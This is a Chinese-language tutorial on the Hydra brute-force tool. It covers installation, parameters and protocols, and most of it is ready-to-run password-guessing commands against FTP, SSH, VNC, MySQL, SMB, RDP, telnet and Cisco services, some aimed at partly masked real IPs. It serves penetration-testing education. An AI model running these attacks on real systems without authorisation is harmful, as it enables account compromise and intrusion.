申明:该文章仅供安全 学习和技术分享,请勿将该文章和文章中提到的技术用于违法活动上,切勿在非授权状态下对其他站点进行测试,如产生任何后果皆由读者本人承担!
如有侵权,请联系后台进行删除。 转载请注明出处,感谢 !
爆破工具 Hydra 1.1 介绍 Hydra 是著名黑客组织 thc 的一款开源的暴力密码破解工具,可以在线破解多种密码。九头蛇是一个并发的登录破解程序,支持许多协议攻击。新模块更容易添加,除此之外,Hydra 非常灵活和迅速的。
1.2 官网 官网网址:http://www.thc.org/thc-hydra
1.3 支持协议 支持 AFP, Cisco AAA, Cisco auth, Cisco enable, CVS, Firebird, FTP, HTTP-FORM-GET, HTTP-FORM-POST, HTTP-GET, HTTP-HEAD, HTTP-PROXY, HTTPS-FORM-GET, HTTPS-FORM-POST, HTTPS-GET, HTTPS-HEAD, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MYSQL , NCP, NNTP, Oracle Listener , Oracle SID, Oracle, PC-Anywhere, PCNFS, POP3, POSTGRES, RDP, Rexec, Rlogin, Rsh, SAP/R3, SIP, SMB, SMTP, SMTP Enum, SNMP, SOCKS5, SSH (v1 and v2), Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC and XMPP 等类型密码。
2. 安装 2.1 安装方法 # wget --no-check-certificate https://www.thc.org/releases/hydra-8.1.tar.gz # tar zxvf hydra-8.1.tar.gz # cd hydra-8.1 # ./configure # make && make install
./configure 会检测当前系统一些组件配置,主要是对于破解支持模块的检测,可根据需要安装对应的支持库和依赖包。
2.2 Kali Linux 在 Kali Linux 中默认是有 hydra 的
在控制台输入 hydra 可以看到参数说明
3. 使用 3.1 参数说明 -p:小写,指定密码破解,少用,一般是采用密码字典 -e:可选选项,n:空密码试探,s:使用指定用户和密码试探 -C:使用冒号分割格式,例如「登录名:密码」来代替 -L/-P 参数 -f:在使用 -M 参数以后,找到第一对登录名或者密码的时候中止破解 service:指定服务名,支持的服务和协议:telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt http[s]-{head|get} http-{get|post}-form http-proxy cisco cisco-enable vnc ldap2 ldap3 mssql mysql oracle-listener postgres nntp socks5 rexec rlogin pcnfs snmp rsh cvs svn icq sapr3 ssh2 smtp-auth[-ntlm] pcanywhere teamspeak sip vmauthd firebird ncp afp 等等 3.2 攻击步骤 选择目标
顾名思义就是输入你的目标地址,可选:单独 IP、CIDR、文档中的列表。 选择协议
输入你需要爆破的协议,如 ftp:// 等。你需要开始之前探测到服务已经打开 检查可选参数
假如爆破需要加入额外的参数则添加即可。 3.3 攻击实例 hydra -l admin -p password ftp://localhost/ hydra -L default_logins.txt -p test ftp://localhost/ hydra -l admin -P common_passwords.txt ftp://localhost/ hydra -L logins.txt -P passwords.txt ftp://localhost/
4. 实战演示 4.1 ftp 爆破 hydra -l rootclay -P passlist.txt -vV ftp://123.59.xxx.xxx
4.2 ssh 爆破 hydra -l rootclay -P passlist.txt -vV ssh://123.59.xxx.xxx
4.3 vnc 爆破 hydra -p Root123! -vV vnc://123.59.xxx.xxx:5901
4.4 MySQL 爆破 hydra -L userlist.txt -P passlist.txt -V mysql://123.59.xxx.xxx:3306
5. 其它使用案例 5.1 破解 https: hydra -m /index.php -l username -P pass.txt IP https
5.2 破解 teamspeak: hydra -l 用户名 -P 密码字典 -s 端口号 -vV ip teamspeak
5.3 破解 cisco: hydra -P pass.txt IP cisco hydra -m cloud -P pass.txt 10.36.16.18 cisco-enable
5.4 破解 smb: hydra -l administrator -P pass.txt IP smb
5.5 破解 pop3: hydra -l muts -P pass.txt my.pop3.mail pop3
5.6 破解 rdp: hydra IP rdp -l administrator -P pass.txt -V
5.7 破解 http-proxy: hydra -l admin -P pass.txt http-proxy://IP
5.8 破解 telnet hydra IP telnet -l 用户 -P 密码字典 -t 32 -s 23 -e ns -f -V